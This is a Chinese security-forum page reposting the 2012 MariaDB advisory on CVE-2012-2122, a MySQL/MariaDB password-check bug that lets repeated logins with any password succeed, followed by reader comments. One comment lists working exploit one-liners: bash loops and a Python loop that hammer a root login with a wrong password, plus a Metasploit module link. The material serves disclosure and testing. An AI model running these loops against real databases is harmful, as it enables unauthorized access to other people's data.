当前位置：WooYun(白帽子技术社区) >> mysql >> CVE-2012-2122: Security vulnerability in MySQL/MariaDB sql/password.c（概率性任意密码登mysql）
CVE-2012-2122: Security vulnerability in MySQL/MariaDB sql/password.c（概率性任意密码登mysql）
| 原文：
http://seclists.org/oss-sec/2012/q2/493From: Sergei Golubchik <serg () montyprogram com>
Date: Sat, 9 Jun 2012 17:30:38 +0200
Hi
We have recently found a serious security bug in MariaDB and MySQL.
So, here, we'd like to let you know about what the issue and its impact
is. At the end you can find a patch, in case you need to patch an older
unsuported MySQL version.
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
This issue got assigned an id CVE-2012-2122.
Here's the issue. When a user connects to MariaDB/MySQL, a token (SHA
over a password and a random scramble string) is calculated and compared
with the expected value. Because of incorrect casting, it might've
happened that the token and the expected value were considered equal,
even if the memcmp() returned a non-zero value. In this case
MySQL/MariaDB would think that the password is correct, even while it is
not. Because the protocol uses random strings, the probability of
hitting this bug is about 1/256.
Which means, if one knows a user name to connect (and "root" almost
always exists), she can connect using *any* password by repeating
connection attempts. ~300 attempts takes only a fraction of second, so
basically account password protection is as good as nonexistent.
Any client will do, there's no need for a special libmysqlclient library.
But practically it's better than it looks - many MySQL/MariaDB builds
are not affected by this bug.
Whether a particular build of MySQL or MariaDB is vulnerable, depends on
how and where it was built. A prerequisite is a memcmp() that can return
an arbitrary integer (outside of -128..127 range). To my knowledge gcc
builtin memcmp is safe, BSD libc memcmp is safe. Linux glibc
sse-optimized memcmp is not safe, but gcc usually uses the inlined
builtin version.
As far as I know, official vendor MySQL and MariaDB binaries are not
vulnerable.（至少我目前知道的情况是，MySQL and MariaDB官方编译的二进制版本没有这个漏洞）
Regards,
Sergei Golubchik
MariaDB Security Coordinator
References:
MariaDB bug report: https://mariadb.atlassian.net/browse/MDEV-212
MariaDB fix: http://bazaar.launchpad.net/~maria-captains/maria/5.1/revision/3144
MySQL bug report: http://bugs.mysql.com/bug.php?id=64884
MySQL fix: http://bazaar.launchpad.net/~mysql/mysql-server/5.1/revision/3560.10.17
MySQL changelog:
http://dev.mysql.com/doc/refman/5.1/en/news-5-1-63.html
http://dev.mysql.com/doc/refman/5.5/en/news-5-5-24.html
另还有国内分析：
http://weibo.com/1414664021/ynmCN9Uoy
http://weibo.com/1414664021/ynmLF4mOR
虽然看上去利用概率似乎极低，不过喜欢自己搞编译的人是否感觉到已经一身弹孔 -_-||
-
-
-
-
-
-
-
@GaRY 严重同意！ 这种漏洞很容易出现在跨平台编程中，比如linux下和win下在标准c库实现上的不同就会出现这样的问题，作为一个研究课题来进行漏洞挖掘，应该有不少好玩的东西
-
-
-
-
-
-
-
-
-
-
以下为漏洞测试方法汇总。
MSF：https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb
batch(无错误回显)：$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
batch（全部回显）：$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1>/dev/null; done
python:#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
来源：http://www.freebuf.com/vuls/3815.html -
-
-
-
@linxinsnow[N.N.U] 是的 跨平台时常在 编码 位上出现些隐藏问题 只是很多没被人发现或不值得利用而已
(十根阳具有长短!!) 添加新回复
其它内容
- 暂无